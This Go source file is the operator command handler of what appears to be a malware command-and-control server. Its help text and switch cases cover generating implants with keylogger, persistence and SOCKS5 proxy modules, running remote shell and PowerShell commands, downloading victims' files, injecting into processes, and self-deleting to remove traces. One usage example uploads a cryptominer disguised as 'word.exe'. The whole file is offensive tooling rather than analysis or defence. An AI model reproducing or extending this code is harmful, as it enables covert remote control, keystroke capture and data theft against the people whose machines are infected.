package main

import (
	"flag"
	"fmt"
	"net"
	"strconv"
	"strings"
)

var helpMessage string = `
Available commands:

Agent Management:
  agents             List all agents that checked-in

  show agent         Show information about certain agent
                     Usage: show agent <agent_id>

  show tasks         Show tasks assigned for agent
                     Usage: show tasks <agent_id>

  clear tasks        Remove all tasks assigned to a agent
                     Usage: clear tasks <agent_id>

  show modules       Display all available modules with their details

Listeners:
  listen             Start a listener with the specified parameters
					 Usage: listen -t ssl -h domain1.com,domain2.com -p 8443 -n listener_ssl_1
                     Flags:
                       -t, --transport   Transport protocol: tcp, ssl, or dns
                       -h, --host        Comma-separated list of hosts (round robin)
                       -p, --port        Port for the listener
                       -n, --name        Name for the listener

  show listeners     Show all active listeners

  stop listener      Stop a specific listener by its name
                     Usage: stop listener <listener name>

Implants generation:
  generate           Generate a payload for the specified agent type and listener
                     Usage: generate agent|beacon <listener name> [flags]
                     Flags for agent:
                      --interval             Set interval between connections (default 5)
                      --delay                Set startup delay (default 5)
                      --persistence          Add persistence module
                      --auto-persistence     Add persistence module and launch it on start-up
                      --keylogger            Add keylogger module
                      --auto-keylogger       Add keylogger module and launch it on start-up
					  --proxy                Add SOCKS5 proxy module
                      --files                Enable periodic file transfer

Tasks (Agent):
  sleep              Set the connection interval (in seconds) for an agent
                     Usage: sleep <sleep_time>

  cmd                Execute a shell command on a target
                     Usage: cmd whoami

  powershell         Execute a PowerShell command on a target
                     Usage: powershell Get-Process

  cd                 Change directory (both / and \ paths work)
                     Usage: cd C:/Users/John/Downloads | cd .. | cd ../

  ps                 Self explanatory

  ls, dir, pwd       Self explanatory

  download           Downloads a file or whole folder and sub-folders (both / and \ paths work)
                     Usage: download C:/Users/John/Desktop/file1.txt

  upload             Upload a file to target machine (both / and \ work for remote paths)
                     Usage: upload /home/unrealhacker/m0Ner0_m1NeR.exe C:/Users/John/Desktop/word.exe

  sysinfo            Retrieve system information from a target

  inject             Inject module into remote procedd
                     Usage: inject <module_name> <pid>
  
  spawn              Spawn new process and inject module into it
                     Usage: spawn <module_name> <exe_path> [ppid]

  files              Download pre-defined files from target

  keylogger          Launch/stop keylogger on target
                     Usage: keylogger <start|stop>

  proxy              Start SOCKS5 proxy on target machine
                     Usage: proxy <start|stop>

  persistence        Add/remove persistence via local app data
                     Usage: persistence <add|remove>

  runexe             Execute a module on a target
  rundll             Usage: runexe|rundll <module_name>

  kill               Stop agent's process

  cleanup            Task agent to stop, remove all traces and self delete

Tasks (Beacon):
  sleep              Set the connection interval (in seconds) for an agent
                     Usage: sleep <time in sec>

  inject             Inject module into remote procedd
                     Usage: inject <module_name> <pid>
  
  spawn              Spawn new process and inject module into it
                     Usage: spawn <module_name> <exe_path> [ppid]
`

func ParseOperatorCommands(operatorConn net.Conn, operatorID string) {
	for {
		// Read the incoming data
		buffer := make([]byte, 1024)
		n, err := operatorConn.Read(buffer)
		if err != nil {
			debugLog("Error reading from connection: %v", err)
			break
		}
		operatorCommand := strings.TrimSpace(string(buffer[:n]))
		cmdParts := strings.Fields(operatorCommand)

		// Echo the received command
		infoLog("Received from %s: \"%s\"\n", operatorID, operatorCommand)

		// Exit command
		if operatorCommand == "exit" {
			infoLog("Operator %s exited", operatorID)
			DeleteOperator(operatorID)
			break
		}

		switch {

		case operatorCommand == "help":
			operatorConn.Write([]byte(helpMessage))

		case operatorCommand == "agents":
			ListAgents(operatorID)

		case strings.HasPrefix(operatorCommand, "show agent"):
			if len(cmdParts) != 3 {
				operatorConn.Write([]byte("Usage: show agent <agent_id>"))
				continue
			}
			ShowAgent(operatorID, cmdParts[2])

		case strings.HasPrefix(operatorCommand, "show tasks"):
			if len(cmdParts) != 3 {
				operatorConn.Write([]byte("Usage: show tasks <agent_id>"))
				continue
			}
			ShowTasks(operatorID, cmdParts)

		case strings.HasPrefix(operatorCommand, "clear tasks"):
			if len(cmdParts) != 3 {
				operatorConn.Write([]byte("Usage: clear tasks <agent_id>"))
				continue
			}
			ClearTasks(operatorID, cmdParts)

		case operatorCommand == "show modules" || operatorCommand == "modules":
			ShowModules(operatorID)

		// Listener commands
		case strings.HasPrefix(operatorCommand, "listen"):

			// Set up flag parsing
			flags := flag.NewFlagSet("listen", flag.ContinueOnError)
			var transport, hosts, port, name string // Required flags

			flags.StringVar(&transport, "t", "", "Transport protocol: tcp, ssl, or dns")
			flags.StringVar(&transport, "transport", "", "Transport protocol: tcp, ssl, or dns (long flag)")
			flags.StringVar(&hosts, "h", "", "Comma-separated list of hosts for payload generation")
			flags.StringVar(&hosts, "host", "", "Comma-separated list of hosts for payload generation (long flag)")
			flags.StringVar(&port, "p", "", "Port for the listener")
			flags.StringVar(&port, "port", "", "Port for the listener (long flag)")
			flags.StringVar(&name, "n", "", "Name for the listener")
			flags.StringVar(&name, "name", "", "Name for the listener (long flag)")

			// Parse flags
			if err := flags.Parse(cmdParts[1:]); err != nil {
				operatorConn.Write([]byte("Error parsing flags. Usage: listen -t <ssl|dns> -h <hosts1,host2> -p <port> -n <name>\n"))
				continue
			}
			// Validate required fields
			if transport == "" || hosts == "" || port == "" || name == "" {
				operatorConn.Write([]byte("Missing required flags. Usage: listen -t <ssl|dns> -h <host1,host2> -p <port> -n <name>\n"))
				continue
			}
			// Parse and store hosts as a slice
			hostSlice := strings.Split(hosts, ",")
			for i := range hostSlice {
				hostSlice[i] = strings.TrimSpace(hostSlice[i])
			}
			// Start the listener
			StartAgentListener(transport, hostSlice, port, name, operatorConn)

			// Show all active listeners
		case operatorCommand == "show listeners":
			ListListeners(operatorID)

			// Stop certain listener
		case strings.HasPrefix(operatorCommand, "stop listener"):
			if len(cmdParts) != 3 {
				operatorConn.Write([]byte("Usage: stop listener <name>"))
				continue
			}
			StopListener(cmdParts[2], operatorConn)

		// Payload generation
		case strings.HasPrefix(operatorCommand, "generate"):
			if len(cmdParts) < 3 {
				operatorConn.Write([]byte("Usage: generate <agent|beacon> <listener name> [--interval 15 --delay 10 --auto-persistence --auto-keylogger]"))
				continue
			}
			// Extract flags
			flagArgs := cmdParts[3:]

			flags := flag.NewFlagSet("generate", flag.ContinueOnError)
			var persistence, auto_persistence, keylogger, auto_keylogger, proxy, files bool // Optional flags
			var interval, delay int

			flags.IntVar(&interval, "interval", 5, "Set interval between connections")
			flags.IntVar(&delay, "delay", 5, "Set startup interval")

			flags.BoolVar(&persistence, "persistence", false, "Add persistence module")
			flags.BoolVar(&keylogger, "keylogger", false, "Add keylogger module")

			flags.BoolVar(&proxy, "proxy", false, "Add proxy module")

			flags.BoolVar(&auto_persistence, "auto-persistence", false, "Add persistence module and enable it on start-up")
			flags.BoolVar(&auto_keylogger, "auto-keylogger", false, "Add keylogger module and enable it on start-up")

			flags.BoolVar(&files, "files", false, "Enable periodical file transfer")

			// Parse flags
			if err := flags.Parse(flagArgs); err != nil {
				operatorConn.Write([]byte("Error parsing flags. Usage: generate <agent|beacon> <listener name> [--auto-persistence --auto-keylogger --files --proxy]\n"))
				continue
			}
			debugLog("Connection interval is set to %d seconds", interval)

			if persistence {
				debugLog("Persistence module added")
			}
			if auto_persistence {
				debugLog("Persistence enabled on start-up")
			}
			if keylogger {
				debugLog("Keylogger module added")
			}
			if auto_keylogger {
				debugLog("Keylogger enabled on start-up")
			}
			if files {
				debugLog("SOCKS5 proxy enabled")
			}
			if files {
				debugLog("Files enabled")
			}

			operatorConn.Write([]byte("Trying to generate payload"))

			payloadType := cmdParts[1]
			listenerName := cmdParts[2]
			GeneratePayload(payloadType, listenerName, interval, delay, persistence, auto_persistence, keylogger, auto_keylogger, proxy, files, operatorConn)

		// Agent tasks
		case strings.Contains(operatorCommand, "sleep"):
			if len(cmdParts) != 3 {
				operatorConn.Write([]byte("Usage: sleep <sleep_time>"))
				continue
			}
			sleepTimeStr := cmdParts[2]
			sleepTime, err := strconv.Atoi(sleepTimeStr)

			if err != nil {
				message := fmt.Sprintf("Invalid sleep time: %s. Must be an integer", sleepTimeStr)
				operatorConn.Write([]byte(message))
				continue
			}
			if sleepTime < 0 {
				message := fmt.Sprintf("Invalid sleep time: %d. Must be a non-negative integer", sleepTime)
				operatorConn.Write([]byte(message))
				continue
			}

			SleepAgent(operatorID, cmdParts)

		case strings.Contains(operatorCommand, "cmd"):
			if len(cmdParts) < 3 {
				operatorConn.Write([]byte("Usage: cmd <command + arguments>"))
				continue
			}
			// Join cmd commands and arguments
			cmdParts[2] = strings.Join(cmdParts[2:], " ")

			RunShell(operatorID, cmdParts)

		case strings.Contains(operatorCommand, "powershell"):
			if len(cmdParts) < 3 {
				operatorConn.Write([]byte("Usage: powershell <command + arguments>"))
				continue
			}
			// Join pwoershell commands and arguments
			cmdParts[2] = strings.Join(cmdParts[2:], " ")

			RunShell(operatorID, cmdParts)

		case strings.Contains(operatorCommand, "sysinfo"):
			if len(cmdParts) != 2 {
				operatorConn.Write([]byte("Usage: sysinfo"))
				continue
			}
			SendSysInfo(operatorID, cmdParts)

		case strings.Contains(operatorCommand, "files"):
			if len(cmdParts) != 2 {
				operatorConn.Write([]byte("Usage: files"))
				continue
			}
			SendFiles(operatorID, cmdParts)

		case strings.Contains(operatorCommand, "runexe"):
			if len(cmdParts) != 3 {
				operatorConn.Write([]byte("Usage: runexe <module_name>"))
				continue
			}
			PrepareModule(operatorID, cmdParts)

		case strings.Contains(operatorCommand, "rundll"):
			if len(cmdParts) != 3 {
				operatorConn.Write([]byte("Usage: rundll <module_name>"))
				continue
			}
			PrepareModule(operatorID, cmdParts)

		case strings.Contains(operatorCommand, "inject"):
			if len(cmdParts) != 4 {
				operatorConn.Write([]byte("Usage: inject <module_name> <pid>"))
				continue
			}
			PrepareModule(operatorID, cmdParts)

		case strings.Contains(operatorCommand, "spawn"):
			if len(cmdParts) < 4 || len(cmdParts) > 5 {
				operatorConn.Write([]byte("Usage: spawn <module_name> <exe_path> <ppid>"))
				continue
			}
			PrepareModule(operatorID, cmdParts)

		case strings.Contains(operatorCommand, "cd"):
			if len(cmdParts) != 3 {
				operatorConn.Write([]byte("Usage: cd <path>"))
				continue
			}
			HandleNavigation(operatorID, cmdParts)

		case strings.Contains(operatorCommand, "ls") || strings.Contains(operatorCommand, "dir") || strings.Contains(operatorCommand, "pwd"):
			if len(cmdParts) != 2 {
				operatorConn.Write([]byte("Usage: ls / dir / pwd"))
				continue
			}
			ShowDirectory(operatorID, cmdParts)

		case strings.Contains(operatorCommand, "ps"):
			if len(cmdParts) != 2 {
				operatorConn.Write([]byte("Usage: ps"))
				continue
			}
			GetProcesses(operatorID, cmdParts)

		case strings.Contains(operatorCommand, "keylogger"):
			if len(cmdParts) != 3 {
				operatorConn.Write([]byte("Usage: keylogger start|stop|report"))
				continue
			}
			operatorConn.Write([]byte(fmt.Sprintf("Trying to %s keylogger on %s", cmdParts[1], cmdParts[0])))
			Keylogger(operatorID, cmdParts)

		case strings.Contains(operatorCommand, "persistence"):
			if len(cmdParts) != 3 {
				operatorConn.Write([]byte("Usage: persistence add|remove"))
				continue
			}
			operatorConn.Write([]byte(fmt.Sprintf("Checking persistence  %s", cmdParts[2])))
			Persistence(operatorID, cmdParts)

		case strings.Contains(operatorCommand, "download"):
			if len(cmdParts) != 3 {
				operatorConn.Write([]byte("Usage: download C:/Users/John/Desktop/file1.txt"))
				continue
			}
			operatorConn.Write([]byte(fmt.Sprintf("Downloading file %s", cmdParts[2])))
			DownloadFile(operatorID, cmdParts)

		case strings.Contains(operatorCommand, "upload"):
			if len(cmdParts) != 4 {
				operatorConn.Write([]byte("Usage: upload /home/user/file1.txt C:/Users/John/Desktop/file1.txt "))
				continue
			}
			operatorConn.Write([]byte(fmt.Sprintf("Trying to upload file %s", cmdParts[2])))
			UploadFile(operatorID, cmdParts)

		case strings.Contains(operatorCommand, "proxy"):
			if len(cmdParts) != 3 {
				operatorConn.Write([]byte("Usage: proxy <start|stop>"))
				continue
			}
			operatorConn.Write([]byte(fmt.Sprintf("Trying to %s proxy on  %s", cmdParts[2], cmdParts[0])))
			Proxy(operatorID, cmdParts)

		case strings.Contains(operatorCommand, "kill"):
			if len(cmdParts) != 2 {
				operatorConn.Write([]byte("Usage: kill"))
				continue
			}
			operatorConn.Write([]byte(fmt.Sprintf("Killing agent  %s", cmdParts[0])))
			Kill(operatorID, cmdParts)

		case strings.Contains(operatorCommand, "cleanup"):
			if len(cmdParts) != 2 {
				operatorConn.Write([]byte("Usage: cleanup <agent_id>"))
				continue
			}
			operatorConn.Write([]byte(fmt.Sprintf("Tasking agent %s to clean up and self delete", cmdParts[0])))
			Cleanup(operatorID, cmdParts)

			// Beacon only
		case strings.Contains(operatorCommand, "artifacts"):
			if len(cmdParts) != 2 {
				operatorConn.Write([]byte("Usage: artifacts"))
				continue
			}
			operatorConn.Write([]byte(fmt.Sprintf("This command is not supported currently")))
			// operatorConn.Write([]byte(fmt.Sprintf("Trying to get artifacts from beacon %s", cmdParts[0])))
			// GetArtifacts(operatorID, cmdParts)

		default:
			operatorConn.Write([]byte("Error: Unknown command. Type 'help' for a list of available commands"))
		}

	}
}
